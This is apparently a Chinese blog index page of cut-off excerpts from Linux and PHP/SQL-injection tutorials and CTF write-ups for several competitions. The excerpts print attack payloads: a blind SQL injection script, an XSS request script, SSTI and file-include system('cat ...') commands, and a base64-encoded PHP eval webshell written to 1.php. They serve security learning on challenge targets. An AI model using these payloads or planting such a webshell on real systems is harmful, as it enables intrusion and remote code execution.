linux基础
一.常见命令(含解释及补充) 1.ls:列出文件目录 选项 作用 示例 -a 列出所有文件(包括隐藏文件) ls -a -l 列出文件及属性,注意大部分操作系统以ll来代替ls -l ls -l -la 列出所有文件及属性(包括隐藏文件) ls -la -h 以易读单位显示文件大小(如 KB、MB,需与 -l 连用) ls -lh -t 按最后修改时间排序(最新文件在前) ls -lt -r 反向排序(配合 -t 或 -S 使用) ls -ltr -S 按文件大小排序(从大到小) ls -lS -R 递归列出子目录内容(显示目录树结构) ls -R --color 彩色输出(默认启用,不同文件类型颜色不同) ls --color=auto -i 显示文件的 inode 编号 ls -i -d 仅显示目录本身(不列出目录内容) ls -d */ / 显示根目录下文件 ls...
VNCTF-WP-WP
WEB奶龙回家在做的时候尝试了时间盲注,但是MySQL中的sleep和benchmark被ban了,后面尝试无果,看wp才知道是sqlite的时间盲注,先fuzz测试下waf 可知union,benchmark,sleep被过滤,但是实测空格和等号也被过滤了,用/**/代替空格,sqlite中的randomblob()来进行延时,最终脚本如下 import requestsimport timeurl = 'http://node.vnteam.cn:43292/login'flag = ''for i in range(1, 500): low = 32 high = 128 mid = (low + high) // 2 while low < high: time.sleep(0.2) # 构造注入payload payload =...
HGAME-WP
WEBPacman直接在源码中找通关逻辑,在index.js中就可以找到,但是有两个,之前找错了,一直交没对 拿出来base64+栅栏2栏就行 MysteryMessageBoard通过弱口令爆破登录shallot用户,密码888888,然后插入xss的payload后访问/admin <script>var xhr=new XMLHttpRequest();xhr.open("POST", "http://127.0.0.1:8888/", true);xhr.setRequestHeader("Content-Type","application/x-www-form-urlencoded");xhr.send("comment=" +...
web入门-php特性
前言:这里有很多知识点,因此做题带着涨姿势,边做题边补充知识点 一.知识点intval()函数(web89)作用是 PHP 中用于将变量转换为整数的函数。它尝试从给定的变量中提取一个整数值。如果该变量不是整数类型,intval 会根据其内容进行适当的转换。 语法int intval ( mixed $var [, int $base = 10 ] ) $var:要转换的变量。 $base(可选):表示数字的进制,默认是 10 进制。如果指定了其他进制(如 8、16 等),函数会按照该进制进行转换。 返回值返回变量 var 的整数值。如果 var 是布尔值 false,则返回 0;如果是 true,则返回 1。 注意 如果字符串中包含数字和非数字字符,intval 只会提取开头的数字部分,直到遇到第一个非数字字符为止。 如果字符串中没有有效的数字,intval 将返回 0。 intval当传入的变量也是数组的时候,会返回1 base变量位的0表示根据var开始的数字决定使用的进制: 0x或0X开头使用十六进制,0开头使用八进制,否则使用十进制。...
启航杯-WP
webEasy_include<?phperror_reporting(0);//flag in flag.php$file=$_GET['file'];if(isset($file)){ if(!preg_match("/flag/i",$file)) { include($file); } else { echo("no no no ~ "); }}else{ highlight_file(__FILE__);}?> 代码审计,直接使用input伪协议,修改为POST包 Web_IP在hint页面发现提示 因此尝试在flag页面伪造本地IP 发现没有结果,尝试进行ssti漏洞 发现可以注入,直接尝试{system('cat...
web入门-php反序列化
一.前置php知识1.类,对象,属性,方法类类(class)是一个共享相同结构和行为的对象的集合。每个类的定义都以关键字class开头,后面跟着类的名字。类本身不是实体,不能直接使用,必须通过实例化生成对象。 class MyClass { public $property1; //属性 public function method1() { //方法 // 方法体 }} 对象对象(object)是一个由信息及对信息进行处理的描述所组成的整体,是对现实世界的抽象。 每个对象可以有不同的属性值,但共享类中的方法。 对象之间相互独立,修改一个对象的属性不会影响其他对象。 可以调用类中的方法来执行特定的操作。 $object = new MyClass(); 属性属性(Property)是类的成员变量,用于存储对象的状态信息。有以下三种访问控制修饰符 public:公共属性,可以从类的外部直接访问。 class Car { public $color =...
web入门-sql注入
一.原理攻击者在进行数据库查询时恶意构造查询语句,使得查询语句能够得到任意攻击者想要的信息(永远不要相信用户的输入) 二.类型按查询来分可分为字符型和数字型(主要区别是字符型需要闭合而数字型无闭合) 按注入方式可分为union注入、报错注入、盲注、文件上传注入等 判断有无注入首先在参数后加上单引号(无论字符型还是数字型都会因单引号个数不匹配报错) 判断注入类型1.输入and 1=1和and 1=2 若均为正常则为字符型,第二个报错即为数字型 2.输入id=1和id=2-1 若结果相同则为数字型,第二个不同则为字符型 以ctfshow171举例 $sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit...
BaseCTF-WP
2024HTTP 是什么呀常规的GET,POST传参,改cookie,referer,UA,IP,注意这里如果是GET传参要传入%00,就要先url编码一次,即传入%2500,因为浏览器会自动进行一次url解码 GET /?basectf=we1c%2500me POST Base=fl@gCookie: c00k13=i can't eat itUser-Agent: BaseReferer: BaseX-Forwarded-For:127.0.0.1 base64解码即可 喵喵喵´•ﻌ•`直接GET传参 DT=system('ls /');DT=system('cat /flag'); md5绕过欸直接数组绕过即可,注意第二层为强比较,也可用数组绕过 GET:name[]=1&name2[]=2Post:password[]=3&password2[]=4 A Dark Room源码 upload写个一句话木马存为1.php上传,bp抓包修改文件类型为Content-Type:...
XYCTF-WP
2024ezMake(makefile)写马随便输入 PATH 环境变量被显式地设定为空。这段 Makefile 的逻辑检查了 PATH 是否未定义,如果未定义则设为空,如果已定义也重设为空。由于 PATH 被设置为空,shell 将无法定位到除内置命令之外的任何外部命令的位置。 Bash 内建命令,这些命令是由Bash自身提供,而不是独立的程序: alias - 定义或显示别名。cd - 改变当前目录。echo - 输出参数到标准输出。exit - 退出当前shell。export - 设置或显示环境变量。history - 显示命令历史记录。pwd - 打印当前工作目录的路径。read - 从标准输入读取一行数据。set - 设置或取消设置shell选项和位置参数。type - 显示一个命令的类型。unset - 删除变量或函数的定义。 尝试base64写马 echo "PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4K" | base64 -d > 1.phpecho "<?php...